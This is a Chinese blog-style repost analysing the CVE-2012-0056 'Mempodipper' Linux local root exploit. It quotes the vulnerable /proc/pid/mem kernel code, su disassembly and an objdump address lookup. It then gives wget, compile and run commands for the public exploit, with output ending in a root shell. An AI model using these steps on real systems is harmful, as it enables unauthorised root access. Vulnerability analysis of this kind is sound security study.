返回顶部
首页 > 资讯 > 操作系统 >Linux中本地提权和EXP利用的示例分析
  • 282
分享到

Linux中本地提权和EXP利用的示例分析

2023-06-13 05:06:26 282人浏览 薄情痞子
摘要

这篇文章主要介绍linux中本地提权和EXP利用的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)&

这篇文章主要介绍linux中本地提权和EXP利用的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
 /proc/pid/mem是一个用于读取和写入,直接通过各地寻求与相同的地址作为该进程的虚拟内存空间进程内存的接口。
  
 影响Linux 内核> = 2.6.39
 当打开/proc/pid/mem时,会调用此内核代码:

代码如下:


static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}


 任何人都可以打开/proc/pid/mem fd 的任何进程写入 和读取,不过,有权限检查限制。让我们看看写功能:
 

代码如下:


static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
Goto out_free;
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;


 看代码有两个检查,以防止未经授权的写操作:
 

代码如下:


check_mem_permission和self_exec_id。
Check_mem_permission的代码只需调用到__check_mem_permission,代码:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}


 有两种方法能对内存写入。
 

代码如下:


$ su "hsmw fuck you"
Unknown id: hsmw fuck you
可以看到su的stderr 的输出“Unknown id:”,我们可以fd 打开/proc/self/mem, 来确定在内存中的位置, 然后dup2   stderr 和mem fd,  把su $shellcode 写入到内存中,获得root.
已task == current测试, 用self_exec_id 匹配self_exec_id 来检测fd 的打开。
Self_exec_id在内核中只引用的少数几个地方。
void setup_new_exec(struct linux_binprm * bprm)
{
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);


 我们创建一个子进程,用self_exec_id来exec 到一个新的进程里面。当我们exec一个新的进程,self_exec_id会产生一个增量。这里程序忙与execing到我们的shellcode写su,所以其self_exec_id得到 相同的值递增。所以我们要做的是把exec一个新的进程,fd /proc/parent-pid/mem 到父进程的PID。这个时候的FD是因为没有权限仅仅打开检查。当它被打开,其self_exec_id来时起作用,把我们exec来su,用self_exec_id将递增。通过我们打开的FD从子进程返回父进程,dup2,和exec 溢出代码到su.
 接下来调试溢出的地址和ASLR随机进程的空间地址。
 在这里得到错误字符串
  403677:       ba 05 00 00 00          mov    $0x5,%edx
   40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
   403681:       31 ff                   xor    %edi,%edi
   403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)
 然后把它写入到stderr:
  403688:       48 8b 3D 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
   40368f:       48 89 c2                mov    %rax,%rdx
   403692:       b9 20 88 60 00          mov    $0x608820,%ecx
   403697:       be 01 00 00 00          mov    $0x1,%esi
   40369c:       31 c0                   xor    %eax,%eax
   40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)
 关闭日志
 4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)
 退出程序;
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
   4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)
 这里可以看到0×402178,这是它调用exit函数。我们来调试“Unknown id:" 的shellcode地址。
 $objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'  0x402178
 它会设置uid 和gid 为0 去执行一个SHELL。还可以重新打开dup2ing 内存之前,stderr fd 到stderr,
 我们选择另一个fd dup stderr,在shellcode,到我们dup2 ,其他fd回来到stderr。
 EXP 老外写好了。插入一段
 

代码如下:


wget Http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ GCc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

以上是“Linux中本地提权和EXP利用的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注编程网操作系统频道!

--结束END--

本文标题: Linux中本地提权和EXP利用的示例分析

本文链接: https://lsjlt.com/news/265588.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • Linux中本地提权和EXP利用的示例分析
    这篇文章主要介绍Linux中本地提权和EXP利用的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)&...
    99+
    2023-06-13
  • win10本地提权0day预警实例分析
    这篇文章跟大家分析一下“win10本地提权0day预警实例分析”。内容详细易懂,对“win10本地提权0day预警实例分析”感兴趣的朋友可以跟着小编的思路慢慢深入来阅读一下,希望阅读后能够对大家有所帮助。下面跟着小编一起深入学习“win10...
    99+
    2023-06-19
  • linux中常用脚本和函数的示例分析
    这篇文章将为大家详细讲解有关linux中常用脚本和函数的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。#查找当前目录中是否存在指定目录,若不存在,则创建之代码如下:function mkdir_1...
    99+
    2023-06-09
  • Linux包管理器snap本地提权漏洞分析
    本篇内容主要讲解“Linux包管理器snap本地提权漏洞分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Linux包管理器snap本地提权漏洞分析”吧!0x00 漏洞背景snap是一...
    99+
    2023-06-19
  • Linux中进程权限的示例分析
    这篇文章主要介绍Linux中进程权限的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!Linux 进程权限分析在linux下,关于文件权限,大部分人接触比较多,也比较熟悉了解.但是对进程权限一般知之甚少。本文总...
    99+
    2023-06-09
  • HTML5本地存储和本地数据库的示例分析
    这篇文章将为大家详细讲解有关HTML5本地存储和本地数据库的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。本地存储1.1 本地存储由来的背景由于HTML4时代Co...
    99+
    2024-04-02
  • Html5中本地存储的示例分析
    小编给大家分享一下Html5中本地存储的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧! 他...
    99+
    2024-04-02
  • Linux中特殊权限SUID SGID和SBIT的示例分析
    这篇文章主要介绍Linux中特殊权限SUID SGID和SBIT的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!1、SUID,就重要的作用就是让其它用户在执行这个授有SUID的程序时拥有该程序拥有者的权限。就...
    99+
    2023-06-12
  • mysql用户和权限的示例分析
    小编给大家分享一下mysql用户和权限的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧! 用...
    99+
    2024-04-02
  • Linux文件权限的示例分析
    这篇文章主要介绍了Linux文件权限的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。在linux中的每一个文件或目录都包含有访问权限,这些访问权限决定了谁能访问和如何...
    99+
    2023-06-27
  • Linux中文件权限目录权限的示例分析
    这篇文章主要介绍Linux中文件权限目录权限的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!linux中目录与文件权限的意义一、文件权限的意义r:可以读这个文件的具体内容;w:可以编辑这个文件的内容,包括增加...
    99+
    2023-06-09
  • HTML5本地存储localStorage和sessionStorage的示例分析
    这期内容当中小编将会给大家带来有关HTML5本地存储localStorage和sessionStorage的示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。HTML...
    99+
    2024-04-02
  • HTML5中LocalStorage本地存储的示例分析
    这篇文章给大家分享的是有关HTML5中LocalStorage本地存储的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。H5的两种存储技术的最大区别就是生命周期。1. lo...
    99+
    2024-04-02
  • mysql中账户和权限的示例分析
    小编给大家分享一下mysql中账户和权限的示例分析,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!当客户端连接 MySQL 服务器时,必须提供有效的身份认证,例如用户名和密码。当用户执行任何...
    99+
    2024-04-02
  • Linux中MAC地址欺骗的示例分析
    这篇文章主要介绍Linux中MAC地址欺骗的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!MAC地址欺骗(或MAC地址盗用)通常用于突破基于MAC地址的局域网访问控制,例如在交换机上限定只转发源MAC地址修改...
    99+
    2023-06-27
  • element-ui本地化使用的示例分析
    这篇文章主要为大家展示了“element-ui本地化使用的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“element-ui本地化使用的示例分析”这篇文...
    99+
    2024-04-02
  • MySQL中权限的示例分析
    小编给大家分享一下MySQL中权限的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!一、前言很多文章中会说,数据库的权限按...
    99+
    2024-04-02
  • MySQL show fileds from 提示无权限的示例分析
    MySQL show fileds from 提示无权限的示例分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。背景:MySQL-5.7....
    99+
    2024-04-02
  • linux中shell脚本编写和运行的示例分析
    这篇文章主要介绍了linux中shell脚本编写和运行的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。编写第一个shell脚本在gedit中编写.sh格式的文件,保存...
    99+
    2023-06-09
  • mysql中引擎、Explain和权限的示例分析
    小编给大家分享一下mysql中引擎、Explain和权限的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!引擎简介Inno...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作